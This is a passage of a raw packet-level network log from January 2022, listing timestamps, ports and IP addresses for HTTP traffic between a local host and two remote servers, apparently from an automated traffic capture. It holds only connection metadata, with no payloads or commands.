Jan 4, 2022 19:33:52.879640102 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.879645109 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.879662991 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.879678965 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.879694939 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.879714012 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.879719019 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.879750013 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.879765034 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.879785061 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.879802942 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.879820108 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.879833937 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.879854918 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.879890919 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.879903078 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.879926920 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.879946947 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.879961967 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.879978895 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.879997969 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.880011082 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.880034924 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.880069017 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.880084038 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.880105019 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.880115986 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.880141020 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.880156040 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.880176067 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.880213022 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.880223036 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.880245924 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.880256891 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.880283117 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.880287886 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.880319118 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.880331993 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.880352020 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.880363941 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.880387068 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.880398035 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.880422115 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.880456924 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.880469084 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.880494118 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.880498886 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.880527973 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.880542994 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.880563021 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.880573988 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.880598068 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.880609035 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.880631924 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.880666971 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.880676985 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.880702019 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.880707979 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.880737066 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.880748987 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.880774021 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.880790949 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.880808115 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.880822897 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.880844116 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.880856037 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.880913019 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.880916119 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.880968094 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.881346941 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.881385088 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.881457090 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.940414906 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.940499067 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.940515995 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.940543890 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.940583944 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.940622091 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.940646887 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.940660000 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.940661907 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.940668106 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.940675974 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.940701962 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.940737963 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.940759897 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.940798044 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.940836906 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.940901041 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.940933943 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.940962076 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.940992117 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.941011906 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.941020966 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.941026926 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.941042900 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.941044092 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.941075087 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.941114902 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.941143990 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.941169024 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.941183090 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.941210032 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.941220999 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.941246033 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.941260099 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.941277981 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.941315889 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.941318035 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.941355944 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.941375017 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.941394091 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.941411972 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.941432953 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.941446066 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.941468954 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.941485882 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.941508055 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.941524029 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.941545963 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.941584110 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.941641092 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.941663980 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.941668034 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.941708088 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.941745043 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.941773891 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.941783905 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.941803932 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.941821098 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.941859007 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.941889048 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.941896915 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.941915989 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.941971064 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.942013979 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.942051888 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.942053080 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.942090988 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.942130089 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.942132950 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.942141056 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.942147017 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.942167044 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.942182064 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.942204952 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.942220926 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.942241907 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.942279100 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.942301035 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.942337990 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.942375898 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.942401886 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.942413092 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.942430973 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.942451000 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.942487955 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.942508936 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.942526102 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.942539930 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.942565918 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.942601919 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.942629099 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.942662954 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.942702055 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.942735910 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.942745924 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.942750931 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.942754984 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.942795038 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.942822933 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.942832947 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.942857027 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.942869902 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.942890882 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.942908049 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.942946911 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.942972898 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.942982912 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.942991018 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.943013906 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.943043947 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.943097115 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.943129063 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.943166971 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.943206072 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.943240881 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.943242073 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.943269014 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.943279982 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.943299055 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.943317890 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.943342924 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.943356991 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.943376064 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.943409920 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.943440914 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.943481922 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.943506002 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.943517923 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.943540096 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.943556070 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.943593025 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.943623066 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.943639994 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.943655968 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.943696022 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.943707943 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.943732977 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:52.943748951 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.943933964 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:52.958848953 CET	49877	80	192.168.2.5	194.180.174.53
Jan 4, 2022 19:33:53.003237009 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.003267050 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.003285885 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.003304005 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.003323078 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.003341913 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.003344059 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.003360033 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.003379107 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.003380060 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.003402948 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.003403902 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.003431082 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.003432989 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.003449917 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.003458977 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.003468990 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.003489017 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.003496885 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.003509045 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.003515005 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.003539085 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.003565073 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.004761934 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.004785061 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.004803896 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.004822969 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.004838943 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.004841089 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.004875898 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.004878044 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.004894972 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.004914045 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.004918098 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.004933119 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.004935980 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.004954100 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.004957914 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.004971981 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.004988909 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.004991055 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.005009890 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.005029917 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.005048990 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.005067110 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.005084038 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.005085945 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.005096912 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.005100012 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.005100965 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.005105972 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.005219936 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.005233049 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.005243063 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.005261898 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.005263090 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.005264997 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.005281925 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.005300999 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.005305052 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.005320072 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.005330086 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.005332947 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.005340099 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.005347967 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.005359888 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.005443096 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.005448103 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.005456924 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.005471945 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.005481005 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.005490065 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.005503893 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.005523920 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.005542994 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.005548954 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.005574942 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.005578995 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.005595922 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.005614996 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.005630016 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.005633116 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.005635977 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.005640030 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.005652905 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.005670071 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.005672932 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.005692959 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.005714893 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.005734921 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.005759001 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.005772114 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.005784988 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.005785942 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.005789995 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.005793095 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.005815029 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.005815983 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.005841017 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.005861998 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.005872011 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.005888939 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.005894899 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.005918980 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.005923033 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.005945921 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.005958080 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.005973101 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.005995989 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.005997896 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.006023884 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.006030083 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.006047010 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.006058931 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.006069899 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.006088972 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.006107092 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.006114960 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.006131887 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.006145000 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.006160021 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.006174088 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.006196976 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.006201029 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.006227016 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.006228924 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.006239891 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.006258011 CET	80	49876	185.7.214.239	192.168.2.5
